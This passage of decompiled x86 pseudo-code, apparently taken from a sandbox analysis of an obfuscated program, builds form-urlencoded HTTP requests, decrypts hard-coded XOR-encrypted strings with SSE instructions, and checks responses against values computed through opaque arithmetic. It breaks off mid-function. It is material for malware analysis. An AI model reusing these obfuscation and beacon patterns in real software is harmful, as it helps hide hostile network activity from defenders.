				_t2214 = E009C3300(E009C3280(_t2212, _t3526, 0x4579, 0), _t3526, 0x19, 0);
				_t3949 = _t3526;
				_t2957 =  *0x9d28d8; // 0x15b5d
				_t3527 =  *0x9d28dc; // 0x0
				_t3528 = _t3527 ^ 0x00000000;
				_t2216 = E009C3280(E009C3280(_t2957 ^ 0x00004579, _t3527 ^ 0x00000000, 0xa, 0), _t3527 ^ 0x00000000, 4, 0);
				asm("adc edx, 0x0");
				asm("adc edx, edi");
				asm("adc edx, 0x0");
				_v3456 = E00972800(_t4059, _t2216 + 0x000000fa + _t2214 + 0x0000000a ^ 0x00000019, _t3528 ^ 0x00000000);
				_push(0);
				_t4019 = _t4016 + 0x10 - 0x18;
				_v4116 = _t4019;
				_v4120 = E00986570(_t4019, L"Content-Type: application/x-www-form-urlencoded\r\n");
				_v16 = 2;
				_t4020 = _t4019 - 0x18;
				_v4124 = _t4020;
				_v4128 = E00971810(_t4020, 0x9ccb51);
				_v16 = 3;
				_push( &_v576);
				_v1116 = _v862;
				_v1120 = _v863;
				_v1124 = _v864;
				_v2036 = 0xc5c155d;
				_v2032 = 0xba461c17;
				_v4044 = _v2036;
				_v4040 = _v2032;
				_v2044 = 0xb8d7dc0c;
				_v2040 = 0xf6d84b5e;
				_v4036 = _v2044;
				_v4032 = _v2040;
				_v2052 = 0xa2cd2303;
				_v2048 = 0x47b920c0;
				_v4028 = _v2052;
				_v4024 = _v2048;
				_v2060 = 0xa68f30f4;
				_v2056 = 0x3a32f208;
				_v4020 = _v2060;
				_v4016 = _v2056;
				_v2068 = 0x3f589a79;
				_v2064 = 0x6a546fa1;
				_v4012 = _v2068;
				_v4008 = _v2064;
				_v2076 = 0x750aa80e;
				_v2072 = 0x7e44d310;
				_v4004 = _v2076;
				_v4000 = _v2072;
				_v900 =  &_v4044;
				_v140 = 0x7c286135;
				_v136 = 0x8b69332d;
				_v132 = 0x89f9ef3a;
				_v128 = 0xc7f6786c;
				_v124 = 0x96e31037;
				_v120 = 0x28cb50ef;
				_v116 = 0xd5ea598c;
				_v112 = 0x4e4a8626;
				_v108 = 0x3f589a79;
				_v104 = 0x6a546fa1;
				_v100 = 0x750aa80e;
				_v96 = 0x7e44d310;
				_v865 = 0;
				_v1132 = _v865;
				asm("movaps xmm0, [ebp-0x80]");
				asm("movaps [ebp-0x1590], xmm0");
				asm("movups xmm0, [ecx]");
				asm("movaps [ebp-0x1450], xmm0");
				asm("movaps xmm0, [ebp-0x1450]");
				asm("pxor xmm0, [ebp-0x1590]");
				asm("movaps [ebp-0x15a0], xmm0");
				asm("movaps xmm0, [ebp-0x15a0]");
				asm("movups [edx], xmm0");
				_v1456 = _v900 + 0x10;
				asm("movaps xmm0, [ebp-0x70]");
				asm("movaps [ebp-0x15d0], xmm0");
				asm("movups xmm0, [ecx]");
				asm("movaps [ebp-0x15c0], xmm0");
				asm("movaps xmm0, [ebp-0x15c0]");
				asm("pxor xmm0, [ebp-0x15d0]");
				asm("movaps [ebp-0x15e0], xmm0");
				asm("movaps xmm0, [ebp-0x15e0]");
				asm("movups [edx], xmm0");
				_v1460 = _v900 + 0x20;
				asm("movaps xmm0, [ebp-0x60]");
				asm("movaps [ebp-0x1600], xmm0");
				asm("movups xmm0, [ecx]");
				asm("movaps [ebp-0x15f0], xmm0");
				asm("movaps xmm0, [ebp-0x15f0]");
				asm("pxor xmm0, [ebp-0x1600]");
				asm("movaps [ebp-0x1610], xmm0");
				asm("movaps xmm0, [ebp-0x1610]");
				asm("movups [edx], xmm0");
				_v3448 = _v900;
				_t4021 = _t4020 - 0x18;
				_v4132 = _t4021;
				E00971810(_t4021, _v3448);
				_push(_v3452);
				_push(_v3456);
				_v16 = 0;
				_t2242 = E009A2080(_t2951, _v3460, _t3526, _t2214, _t4059); // executed
				_v3464 = _t2242;
				_v3468 = _v3464;
				_v2084 = 0x1448550;
				_v2080 = 0;
				_v2108 = _v2084 ^ 0x00000019;
				_v2104 = _v2080 ^ 0x00000000;
				_v2092 = 0x19;
				_v2088 = 0;
				_t2979 =  *0x9d28c0; // 0x51
				_t3547 =  *0x9d28c4; // 0x0
				_t3548 = _t3547 ^ 0x00000000;
				_v2100 = E009C3280(_t2979 ^ 0x00004579, _t3548, 6, 0);
				_v2096 = _t3548;
				_v2116 = 0x4579;
				_v2112 = 0;
				asm("adc edx, eax");
				asm("adc edx, 0x0");
				_v2132 = _v2092 + _v2100 + 1;
				_v2128 = _v2088;
				asm("sbb edx, eax");
				_v2124 = _v2108 - _v2116;
				_v2120 = _v2104;
				_t3551 = _v2120;
				_v2140 = E009C3300(_v2124, _t3551, _v2132, _v2128);
				_v2136 = _t3551;
				asm("cdq");
				_t3967 = _v2136;
				_v2148 = _v3468;
				_v2144 = _t3551;
				_v2156 = _v2140;
				_v2152 = _v2136;
				_t3552 = _v2148;
				if(_v2148 != _v2156 || _v2144 != _v2152) {
					L28:
					E00971810( &_v600, 0x9ccb52);
					_v16 = 0x17;
					_push(0x80);
					_t2253 = E009AC4F3(_t3552, __eflags);
					_t4022 = _t4021 + 4;
					_v1200 = _t2253;
					_v16 = 0x18;
					__eflags = _v1200;
					if(_v1200 == 0) {
						_v1492 = 0;
					} else {
						E009ADBB0(_t3949, _v1200, 0, 0x80);
						_t4022 = _t4022 + 0xc;
						_v1492 = E0099FF90(_v1200, _t3949, _t3967, __eflags);
					}
					_v1736 = _v1492;
					_v16 = 0x17;
					_v1744 = _v1736;
					_v802 = 0;
					_v803 = 0;
					_v804 = 0;
					_push(0);
					_t4023 = _t4022 - 0x18;
					_v4260 = _t4023;
					_v4264 = E00986570(_t4023, L"Content-Type: application/x-www-form-urlencoded\r\n");
					_v16 = 0x19;
					_t4024 = _t4023 - 0x18;
					_v4268 = _t4024;
					_v4272 = E00971810(_t4024, 0x9ccb53);
					_v16 = 0x1a;
					_push( &_v600);
					_v1388 = _v802;
					_v1392 = _v803;
					_v1396 = _v804;
					_v2756 = 0xc5c155d;
					_v2752 = 0xba461c17;
					_v4092 = _v2756;
					_v4088 = _v2752;
					_v2764 = 0xb8d7d80a;
					_v2760 = 0xf6d84a54;
					_v4084 = _v2764;
					_v4080 = _v2760;
					_v2772 = 0xa4cd2905;
					_v2768 = 0x5be461da;
					_v4076 = _v2772;
					_v4072 = _v2768;
					_v2780 = 0xb09c2be9;
					_v2776 = 0x363ea854;
					_v4068 = _v2780;
					_v4064 = _v2776;
					_v2788 = 0x3f589a0d;
					_v2784 = 0x6a546fa1;
					_v4060 = _v2788;
					_v4056 = _v2784;
					_v2796 = 0x750aa80e;
					_v2792 = 0x7e44d310;
					_v4052 = _v2796;
					_v4048 = _v2792;
					_v908 =  &_v4092;
					_v252 = 0x7c286135;
					_v248 = 0x8b69332d;
					_v244 = 0x89f9ef3a;
					_v240 = 0xc7f6786c;
					_v236 = 0x96e31037;
					_v232 = 0x28cb50ef;
					_v228 = 0xd5ea598c;
					_v224 = 0x4e4a8626;
					_v220 = 0x3f589a79;
					_v216 = 0x6a546fa1;
					_v212 = 0x750aa80e;
					_v208 = 0x7e44d310;
					_v805 = 0;
					_v1400 = _v805;
					asm("movaps xmm0, [ebp-0xf0]");
					asm("movaps [ebp-0x11e0], xmm0");
					asm("movups xmm0, [ecx]");
					asm("movaps [ebp-0x11d0], xmm0");
					asm("movaps xmm0, [ebp-0x11d0]");
					asm("pxor xmm0, [ebp-0x11e0]");
					asm("movaps [ebp-0x11f0], xmm0");
					asm("movaps xmm0, [ebp-0x11f0]");
					asm("movups [edx], xmm0");
					_v1496 = _v908 + 0x10;
					asm("movaps xmm0, [ebp-0xe0]");
					asm("movaps [ebp-0x1210], xmm0");
					asm("movups xmm0, [ecx]");
					asm("movaps [ebp-0x1200], xmm0");
					asm("movaps xmm0, [ebp-0x1200]");
					asm("pxor xmm0, [ebp-0x1210]");
					asm("movaps [ebp-0x1220], xmm0");
					asm("movaps xmm0, [ebp-0x1220]");
					asm("movups [edx], xmm0");
					_v1500 = _v908 + 0x20;
					asm("movaps xmm0, [ebp-0xd0]");
					asm("movaps [ebp-0x1240], xmm0");
					asm("movups xmm0, [ecx]");
					asm("movaps [ebp-0x1230], xmm0");
					asm("movaps xmm0, [ebp-0x1230]");
					asm("pxor xmm0, [ebp-0x1240]");
					asm("movaps [ebp-0x1250], xmm0");
					asm("movaps xmm0, [ebp-0x1250]");
					asm("movups [edx], xmm0");
					_v1740 = _v908;
					_t4025 = _t4024 - 0x18;
					_v4276 = _t4025;
					E00971810(_t4025, _v1740);
					_push(0xa);
					_push(0xa);
					_v16 = 0x17;
					_v1748 = E009A2080(_t2951, _v1744, _t3949, _t3967, __eflags);
					_v4320 = _v1748;
					_v806 = 0;
					_v807 = 0;
					_v808 = 0;
					_v1404 = _v806;
					_v1408 = _v807;
					_v1412 = _v808;
					_v2804 = 0x287b2e7d;
					_v2800 = 0x8b693317;
					_v3676 = _v2804;
					_v3672 = _v2800;
					_v2812 = 0x89f9ef3a;
					_v2808 = 0xc7f6786c;
					_v3668 = _v2812;
					_v3664 = _v2808;
					_v1204 =  &_v3676;
					_v396 = 0x7c286135;
					_v392 = 0x8b69332d;
					_v388 = 0x89f9ef3a;
					_v384 = 0xc7f6786c;
					_v809 = 0;
					_v936 = _v809;
					asm("movaps xmm0, [ebp-0x180]");
					asm("movaps [ebp-0x1270], xmm0");
					asm("movups xmm0, [eax]");
					asm("movaps [ebp-0x1260], xmm0");
					asm("movaps xmm0, [ebp-0x1260]");
					asm("pxor xmm0, [ebp-0x1270]");
					asm("movaps [ebp-0x1280], xmm0");
					asm("movaps xmm0, [ebp-0x1280]");
					asm("movups [ecx], xmm0");
					_v1752 = _v1204;
					_v2820 = 0x4560;
					_v2816 = 0;
					_v2844 = _v2820 ^ 0x00000019;
					_v2840 = _v2816 ^ 0x00000000;
					_v2828 = 0x19;
					_v2824 = 0;
					_t3017 =  *0x9d28c0; // 0x51
					_t3578 =  *0x9d28c4; // 0x0
					_t3579 = _t3578 ^ 0x00000000;
					_v2836 = E009C3280(_t3017 ^ 0x00004579, _t3579, 6, 0);
					_v2832 = _t3579;
					_v2852 = 0x4579;
					_v2848 = 0;
					asm("adc edx, eax");
					asm("adc edx, 0x0");
					_v2868 = _v2828 + _v2836 + 1;
					_v2864 = _v2824;
					asm("sbb edx, eax");
					_v2860 = _v2844 - _v2852;
					_v2856 = _v2840;
					_t3582 = _v2856;
					_v2876 = E009C3300(_v2860, _t3582, _v2868, _v2864);
					_v2872 = _t3582;
					_t2290 = E00986810( &_v600, _v1752, 0);
					_t3969 = _v2872;
					_v2884 = _t2290;
					_v2880 = 0;
					_v2892 = _v2876;
					_v2888 = _v2872;
					_t3584 = _v2884;
					__eflags = _v2884 - _v2892;
					if(_v2884 != _v2892) {
						L46:
						E00971810( &_v648, 0x9ccb54);
						_v16 = 0x1c;
						_push(0x80);
						_t2292 = E009AC4F3(_t3584, __eflags);
						_t4026 = _t4025 + 4;
						_v1216 = _t2292;
						_v16 = 0x1d;
						__eflags = _v1216;
						if(_v1216 == 0) {
							_v1520 = 0;
						} else {
							E009ADBB0(_t3949, _v1216, 0, 0x80);
							_t4026 = _t4026 + 0xc;
							_v1520 = E0099FF90(_v1216, _t3949, _t3969, __eflags);
						}
						_v1792 = _v1520;
						_v16 = 0x1c;
						_v1800 = _v1792;
						_v815 = 0;
						_v816 = 0;
						_v817 = 0;
						_push(0);
						_t4027 = _t4026 - 0x18;
						_v4296 = _t4027;
						_v4300 = E00986570(_t4027, L"Content-Type: application/x-www-form-urlencoded\r\n");
						_v16 = 0x1e;
						_t4028 = _t4027 - 0x18;
						_v4304 = _t4028;
						_v4308 = E00971810(_t4028, 0x9ccb55);
						_v16 = 0x1f;
						_push( &_v648);
						_v956 = _v815;
						_v960 = _v816;
						_v964 = _v817;
						_v2948 = 0x85b0045;
						_v2944 = 0xe5005148;
						_v3900 = _v2948;
						_v3896 = _v2944;
						_v2956 = 0xe4968c14;
						_v2952 = 0xb0970a43;
						_v3892 = _v2956;
						_v3888 = _v2952;
						_v2964 = 0xf2d45118;
						_v2960 = 0x5cfa17bc;
						_v3884 = _v2964;
						_v3880 = _v2960;
						_v2972 = 0xd5ea59e9;
						_v2968 = 0x4e4a8626;
						_v3876 = _v2972;
						_v3872 = _v2968;
						_v924 =  &_v3900;
						_v540 = 0x7c286135;
						_v536 = 0x8b69332d;
						_v532 = 0x89f9ef3a;
						_v528 = 0xc7f6786c;
						_v524 = 0x96e31037;
						_v520 = 0x28cb50ef;
						_v516 = 0xd5ea598c;
						_v512 = 0x4e4a8626;
						_v818 = 0;
						_v968 = _v818;
						asm("movaps xmm0, [ebp-0x210]");
						asm("movaps [ebp-0x12d0], xmm0");
						asm("movups xmm0, [edx]");
						asm("movaps [ebp-0x12c0], xmm0");
						asm("movaps xmm0, [ebp-0x12c0]");
						asm("pxor xmm0, [ebp-0x12d0]");
						asm("movaps [ebp-0x12e0], xmm0");
						asm("movaps xmm0, [ebp-0x12e0]");
						asm("movups [eax], xmm0");
						_v1524 = _v924 + 0x10;
						asm("movaps xmm0, [ebp-0x200]");
						asm("movaps [ebp-0x1300], xmm0");
						asm("movups xmm0, [edx]");
						asm("movaps [ebp-0x12f0], xmm0");
						asm("movaps xmm0, [ebp-0x12f0]");
						asm("pxor xmm0, [ebp-0x1300]");
						asm("movaps [ebp-0x1310], xmm0");
						asm("movaps xmm0, [ebp-0x1310]");
						asm("movups [eax], xmm0");
						_v1796 = _v924;
						_t4029 = _t4028 - 0x18;
						_v4180 = _t4029;
						_t3596 = _v1796;
						E00971810(_t4029, _v1796);
						_push(0xb);
						_push(0xa);
						_v16 = 0x1c;
						_v1804 = E009A2080(_t2951, _v1800, _t3949, _t3969, __eflags);
						_v1808 = _v1804;
						__eflags = _v1808 - 0xc8;
						if(_v1808 != 0xc8) {
							L58:
							E00971810( &_v624, 0x9ccb56);
							_v16 = 0x20;
							_push(0x80);
							_t2310 = E009AC4F3(_t3596, __eflags);
							_t4030 = _t4029 + 4;
							_v1232 = _t2310;
							_v16 = 0x21;
							__eflags = _v1232;
							if(_v1232 == 0) {
								_v1544 = 0;
							} else {
								E009ADBB0(_t3949, _v1232, 0, 0x80);
								_t4030 = _t4030 + 0xc;
								_v1544 = E0099FF90(_v1232, _t3949, _t3969, __eflags);
							}
							_v1828 = _v1544;
							_v16 = 0x20;
							_v1848 = _v1828;
							_v828 = 0;
							_v829 = 0;
							_v830 = 0;
							_t2312 =  *0x9d28d0; // 0x3a
							asm("cdq");
							asm("adc edi, 0x0");
							_t2313 =  *0x9d28d4; // 0xfc
							asm("cdq");
							asm("adc edx, 0x0");
							_t2315 = E009C3280(_t2313 + 0x4579, 0, 0x4579, 0);
							asm("adc eax, 0x0");
							_v1832 = 0;
							_t2317 =  *0x9d28d4; // 0xfc
							asm("cdq");
							asm("adc edx, 0x0");
							_t2320 = E009C3280(_t2315 + 0xa, _v1832, _t2317 + 9, 0);
							asm("adc edi, edx");
							asm("adc edi, 0x0");
							_v1840 = E00972730(_t2312 + 9 + _t2320 + 0x4579, 0);
							_t3599 =  *0x9d28cc; // 0x0
							_t2322 =  *0x9d28c8; // 0x4c
							_t2324 = E009C3300(E009C3280(_t2322, _t3599, 0x4579, 0), _t3599, 0x19, 0);
							_t3051 =  *0x9d28d8; // 0x15b5d
							_t3600 =  *0x9d28dc; // 0x0
							_t3601 = _t3600 ^ 0x00000000;
							_t2326 = E009C3280(E009C3280(_t3051 ^ 0x00004579, _t3600 ^ 0x00000000, 0xa, 0), _t3600 ^ 0x00000000, 4, 0);
							asm("adc edx, 0x0");
							asm("adc edx, edi");
							asm("adc edx, 0x0");
							_v1844 = E00972800(__eflags, _t2326 + 0x000000fa + _t2324 + 0x0000000a ^ 0x00000019, _t3601 ^ 0x00000000);
							_push(0);
							_t4033 = _t4030 + 0x10 - 0x18;
							_v4204 = _t4033;
							_v4212 = E00986570(_t4033, L"Content-Type: application/x-www-form-urlencoded\r\n");
							_v16 = 0x22;
							_t4034 = _t4033 - 0x18;
							_v4220 = _t4034;
							_v4228 = E00971810(_t4034, L"");
							_v16 = 0x23;
							_push( &_v624);
							_v1004 = _v828;
							_v1008 = _v829;
							_v1012 = _v830;
							_v3012 = 0xc5c155d;
							_v3008 = 0xfc461c17;
							_v3948 = _v3012;
							_v3944 = _v3008;
							_v3020 = 0xfb9d9c5c;
							_v3016 = 0xa9991f0d;
							_v3940 = _v3020;
							_v3936 = _v3016;
							_v3028 = 0xb9966219;
							_v3024 = 0x7a2208e;
							_v3932 = _v3028;
							_v3928 = _v3024;
							_v3036 = 0x869e3cff;
							_v3032 = 0x3d3ee752;
							_v3924 = _v3036;
							_v3920 = _v3032;
							_v3044 = 0x4f30ea57;
							_v3040 = 0x6a546fa1;
							_v3916 = _v3044;
							_v3912 = _v3040;
							_v3052 = 0x750aa80e;
							_v3048 = 0x7e44d310;
							_v3908 = _v3052;
							_v3904 = _v3048;
							_v912 =  &_v3948;
							_v92 = 0x7c286135;
							_v88 = 0x8b69332d;
							_v84 = 0x89f9ef3a;
							_v80 = 0xc7f6786c;
							_v76 = 0x96e31037;
							_v72 = 0x28cb50ef;
							_v68 = 0xd5ea598c;
							_v64 = 0x4e4a8626;
							_v60 = 0x3f589a79;
							_v56 = 0x6a546fa1;
							_v52 = 0x750aa80e;
							_v48 = 0x7e44d310;
							_v831 = 0;
							_v1016 = _v831;
							asm("movaps xmm0, [ebp-0x50]");
							asm("movaps [ebp-0x1390], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x1380], xmm0");
							asm("movaps xmm0, [ebp-0x1380]");
							asm("pxor xmm0, [ebp-0x1390]");
							asm("movaps [ebp-0x13a0], xmm0");
							asm("movaps xmm0, [ebp-0x13a0]");
							asm("movups [edx], xmm0");
							_v1548 = _v912 + 0x10;
							asm("movaps xmm0, [ebp-0x40]");
							asm("movaps [ebp-0x13c0], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x13b0], xmm0");
							asm("movaps xmm0, [ebp-0x13b0]");
							asm("pxor xmm0, [ebp-0x13c0]");
							asm("movaps [ebp-0x13d0], xmm0");
							asm("movaps xmm0, [ebp-0x13d0]");
							asm("movups [edx], xmm0");
							_v1552 = _v912 + 0x20;
							asm("movaps xmm0, [ebp-0x30]");
							asm("movaps [ebp-0x13f0], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x13e0], xmm0");
							asm("movaps xmm0, [ebp-0x13e0]");
							asm("pxor xmm0, [ebp-0x13f0]");
							asm("movaps [ebp-0x1400], xmm0");
							asm("movaps xmm0, [ebp-0x1400]");
							asm("movups [edx], xmm0");
							_v1836 = _v912;
							_t4035 = _t4034 - 0x18;
							_v4236 = _t4035;
							E00971810(_t4035, _v1836);
							_push(_v1840);
							_push(_v1844);
							_v16 = 0x20;
							_v1852 = E009A2080(_t2951, _v1848, _t3599, _t2324, __eflags);
							_t3617 = _v1852;
							_v1860 = _t3617;
							_v1856 = _v608;
							_v1556 = _v1856;
							asm("cdq");
							_t3975 = _v1860;
							_t3952 = _t3617;
							_t3618 =  *0x9d28d8; // 0x15b5d
							_t3619 = _t3618 ^ 0x00004579;
							_t2355 =  *0x9d28dc; // 0x0
							_t2358 = E009C3280(E009C3280(_t3619, _t2355 ^ 0x00000000, 0xc8, 0), _t3619, 4, 0);
							asm("adc ecx, 0x0");
							_t3620 =  *0x9d28cc; // 0x0
							_t3621 =  *0x9d28c8; // 0x4c
							_v1864 = _t2358 + 0x1388;
							_v1868 = _t3619;
							_t2361 = E009C3300(E009C3280(_t3621, _t3620, 0x4579, 0), _t3621, 0x19, 0);
							asm("adc eax, edx");
							asm("adc eax, 0x0");
							_t2364 = E00972800(__eflags, _v1864 + _t2361 + 0x000000c8 ^ 0x00000019, _v1868 ^ 0x00000000);
							_t4036 = _t4035 + 8;
							_v3060 = _v1860;
							_v3056 = _t3617;
							_v3068 = _t2364;
							_v3064 = _t3621;
							__eflags = _v3060 - _v3068;
							if(_v3060 != _v3068) {
								L101:
								E00971810( &_v696, 0x9ccbbc);
								_v16 = 0x25;
								_push(0x80);
								_t2367 = E009AC4F3(_t3621, __eflags);
								_t4037 = _t4036 + 4;
								_v1256 = _t2367;
								_v16 = 0x26;
								__eflags = _v1256;
								if(_v1256 == 0) {
									_v1416 = 0;
								} else {
									E009ADBB0(_t3952, _v1256, 0, 0x80);
									_t4037 = _t4037 + 0xc;
									_v1416 = E0099FF90(_v1256, _t3952, _t3975, __eflags);
								}
								_v1928 = _v1416;
								_v16 = 0x25;
								_v1948 = _v1928;
								_v843 = 0;
								_v844 = 0;
								_v845 = 0;
								_t2370 =  *0x9d28d0; // 0x3a
								asm("cdq");
								asm("adc edi, 0x0");
								_t2371 =  *0x9d28d4; // 0xfc
								asm("cdq");
								asm("adc edx, 0x0");
								_t2373 = E009C3280(_t2371 + 0x4579, 0, 0x4579, 0);
								asm("adc eax, 0x0");
								_v1932 = 0;
								_t2375 =  *0x9d28d4; // 0xfc
								asm("cdq");
								asm("adc edx, 0x0");
								_t2378 = E009C3280(_t2373 + 0xb, _v1932, _t2375 + 9, 0);
								asm("adc edi, edx");
								asm("adc edi, 0x0");
								_v1940 = E00972730(_t2370 + 9 + _t2378 + 0x4579, 0);
								_t3624 =  *0x9d28cc; // 0x0
								_t2380 =  *0x9d28c8; // 0x4c
								_t2382 = E009C3300(E009C3280(_t2380, _t3624, 0x4579, 0), _t3624, 0x19, 0);
								_t3081 =  *0x9d28d8; // 0x15b5d
								_t3625 =  *0x9d28dc; // 0x0
								_t3626 = _t3625 ^ 0x00000000;
								_t2384 = E009C3280(E009C3280(_t3081 ^ 0x00004579, _t3625 ^ 0x00000000, 0xa, 0), _t3625 ^ 0x00000000, 4, 0);
								asm("adc edx, 0x0");
								asm("adc edx, edi");
								asm("adc edx, 0x0");
								_v1944 = E00972800(__eflags, _t2384 + 0x000000fa + _t2382 + 0x0000000a ^ 0x00000019, _t3626 ^ 0x00000000);
								_push(0);
								_t4040 = _t4037 + 0x10 - 0x18;
								_v4292 = _t4040;
								_v4312 = E00986570(_t4040, L"Content-Type: application/x-www-form-urlencoded\r\n");
								_v16 = 0x27;
								_t4041 = _t4040 - 0x18;
								_v4316 = _t4041;
								_v4096 = E00971810(_t4041, 0x9ccbbd);
								_v16 = 0x28;
								_push( &_v696);
								_v1052 = _v843;
								_v1056 = _v844;
								_v1060 = _v845;
								_v3220 = 0x84e0e46;
								_v3216 = 0xe4191e5e;
								_v3996 = _v3220;
								_v3992 = _v3216;
								_v3228 = 0xe5989b48;
								_v3224 = 0xaa991b42;
								_v3988 = _v3228;
								_v3984 = _v3224;
								_v3236 = 0xff937118;
								_v3232 = 0x4fae22c0;
								_v3980 = _v3236;
								_v3976 = _v3232;
								_v3244 = 0xb09e2ae5;
								_v3240 = 0x2b39d354;
								_v3972 = _v3244;
								_v3968 = _v3240;
								_v3252 = 0x5728b40b;
								_v3248 = 0x6a546fd1;
								_v3964 = _v3252;
								_v3960 = _v3248;
								_v3260 = 0x750aa80e;
								_v3256 = 0x7e44d310;
								_v3956 = _v3260;
								_v3952 = _v3256;
								_v916 =  &_v3996;
								_v204 = 0x7c286135;
								_v200 = 0x8b69332d;
								_v196 = 0x89f9ef3a;
								_v192 = 0xc7f6786c;
								_v188 = 0x96e31037;
								_v184 = 0x28cb50ef;
								_v180 = 0xd5ea598c;
								_v176 = 0x4e4a8626;
								_v172 = 0x3f589a79;
								_v168 = 0x6a546fa1;
								_v164 = 0x750aa80e;
								_v160 = 0x7e44d310;
								_v846 = 0;
								_v1064 = _v846;
								asm("movaps xmm0, [ebp-0xc0]");
								asm("movaps [ebp-0x1480], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x1470], xmm0");
								asm("movaps xmm0, [ebp-0x1470]");
								asm("pxor xmm0, [ebp-0x1480]");
								asm("movaps [ebp-0x1490], xmm0");
								asm("movaps xmm0, [ebp-0x1490]");
								asm("movups [edx], xmm0");
								_v1420 = _v916 + 0x10;
								asm("movaps xmm0, [ebp-0xb0]");
								asm("movaps [ebp-0x14b0], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x14a0], xmm0");
								asm("movaps xmm0, [ebp-0x14a0]");
								asm("pxor xmm0, [ebp-0x14b0]");
								asm("movaps [ebp-0x14c0], xmm0");
								asm("movaps xmm0, [ebp-0x14c0]");
								asm("movups [edx], xmm0");
								_v1424 = _v916 + 0x20;
								asm("movaps xmm0, [ebp-0xa0]");
								asm("movaps [ebp-0x14e0], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x14d0], xmm0");
								asm("movaps xmm0, [ebp-0x14d0]");
								asm("pxor xmm0, [ebp-0x14e0]");
								asm("movaps [ebp-0x14f0], xmm0");
								asm("movaps xmm0, [ebp-0x14f0]");
								asm("movups [edx], xmm0");
								_v1936 = _v916;
								_t4042 = _t4041 - 0x18;
								_v4100 = _t4042;
								E00971810(_t4042, _v1936);
								_push(_v1940);
								_push(_v1944);
								_v16 = 0x25;
								_v1952 = E009A2080(_t2951, _v1948, _t3624, _t2382, __eflags);
								_t3642 = _v1952;
								_v1960 = _t3642;
								_v1956 = _v680;
								_v1428 = _v1956;
								asm("cdq");
								_t3955 = _t3642;
								_t3643 =  *0x9d28d8; // 0x15b5d
								_t3644 = _t3643 ^ 0x00004579;
								_t2413 =  *0x9d28dc; // 0x0
								_t2416 = E009C3280(E009C3280(_t3644, _t2413 ^ 0x00000000, 0xc8, 0), _t3644, 4, 0);
								asm("adc ecx, 0x0");
								_t3645 =  *0x9d28cc; // 0x0
								_t3646 =  *0x9d28c8; // 0x4c
								_v1964 = _t2416 + 0x1388;
								_v1968 = _t3644;
								_t2419 = E009C3300(E009C3280(_t3646, _t3645, 0x4579, 0), _t3646, 0x19, 0);
								asm("adc eax, edx");
								asm("adc eax, 0x0");
								_t2422 = E00972800(__eflags, _v1964 + _t2419 + 0x000000c8 ^ 0x00000019, _v1968 ^ 0x00000000);
								_t4043 = _t4042 + 8;
								_v3268 = _v1960;
								_v3264 = _t3642;
								_v3276 = _t2422;
								_v3272 = _t3646;
								__eflags = _v3268 - _v3276;
								if(_v3268 != _v3276) {
									L144:
									_v858 = 0;
									_v859 = 0;
									_v860 = 0;
									_v1100 = _v858;
									_v1104 = _v859;
									_v1108 = _v860;
									_v3428 = 0x521b5704;
									_v3424 = 0xa55a011c;
									_v3868 = _v3428;
									_v3864 = _v3424;
									_v3436 = 0xa7cadb0b;
									_v3432 = 0xc7f64a5d;
									_v3860 = _v3436;
									_v3856 = _v3432;
									_v1284 =  &_v3868;
									_v508 = 0x7c286135;
									_v504 = 0x8b69332d;
									_v500 = 0x89f9ef3a;
									_v496 = 0xc7f6786c;
									_v861 = 0;
									_v1112 = _v861;
									asm("movaps xmm0, [ebp-0x1f0]");
									asm("movaps [ebp-0x1570], xmm0");
									asm("movups xmm0, [eax]");
									asm("movaps [ebp-0x1560], xmm0");
									asm("movaps xmm0, [ebp-0x1560]");
									asm("pxor xmm0, [ebp-0x1570]");
									asm("movaps [ebp-0x1580], xmm0");
									asm("movaps xmm0, [ebp-0x1580]");
									asm("movups [ecx], xmm0");
									_t3653 = _v1284;
									_v2028 = _v1284;
									E00971810( *((intOrPtr*)(_t2951 + 8)), _v2028);
									_t3116 = _v796 | 0x00000001;
									__eflags = _t3116;
									_v796 = _t3116;
									_v16 = 0x20;
									E00971AB0( &_v696);
									_v16 = 0x1c;
									E00971AB0( &_v624);
									_v16 = 0x17;
									E00971AB0( &_v648);
									_v16 = 0;
									E00971AB0( &_v600);
									_v16 = 0xffffffff;
									E00971AB0( &_v576);
									_t2437 =  *((intOrPtr*)(_t2951 + 8));
								} else {
									_t3126 = _v3264;
									__eflags = _v3264 - _v3272;
									if(_v3264 != _v3272) {
										goto L144;
									} else {
										__eflags = _v1428;
										if(_v1428 == 0) {
											goto L144;
										} else {
											_v928 = 0;
											while(1) {
												__eflags = _v928 - _v1428;
												if(_v928 >= _v1428) {
													break;
												}
												_t2502 = E009AF98F(_t3126);
												_t3178 = 0x180;
												_v1972 = _t2502 % 0x180;
												_t3694 = _v1972 & 0x80000001;
												__eflags = _t3694;
												if(_t3694 < 0) {
													_t3694 = (_t3694 - 0x00000001 | 0xfffffffe) + 1;
													__eflags = _t3694;
												}
												__eflags = _t3694;
												if(_t3694 == 0) {
													_t3178 = 0;
													__eflags = 0;
													 *0x009D3628 = 0x22;
													 *0x015811D1 = 0;
												}
												_t2505 = E009AF98F(_t3178) & 0x80000001;
												__eflags = _t2505;
												if(_t2505 < 0) {
													_t2505 = (_t2505 - 0x00000001 | 0xfffffffe) + 1;
													__eflags = _t2505;
												}
												__eflags = _t2505;
												if(_t2505 != 0) {
													 *0x009D37A0 = 0xda;
													 *0x009D37AD = 0xce;
													 *0x009D37AE = 0xc3;
													 *0x009D37A3 = 0xdb;
													 *0x0158134D = 0xa5;
													_t3694 = 1 << 1;
													__eflags = 1;
													 *0x009D37A1 = 0xee;
												} else {
													E009ADBB0(_t3955, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
													_t4043 = _t4043 + 0xc;
												}
												_t2509 =  *0x9d28d0; // 0x3a
												asm("cdq");
												_t3955 = _t3694;
												asm("adc edi, 0x0");
												_t2510 =  *0x9d28d4; // 0xfc
												asm("cdq");
												asm("adc edx, 0x0");
												_t2512 = E009C3280(_t2510 + 0x4579, _t3694, 0x4579, 0);
												asm("adc eax, 0x0");
												_v1976 = _t3694;
												_t2514 =  *0x9d28d4; // 0xfc
												asm("cdq");
												asm("adc edx, 0x0");
												_t2517 = E009C3280(_t2512 + 0xcc, _v1976, _t2514 + 9, _t3694);
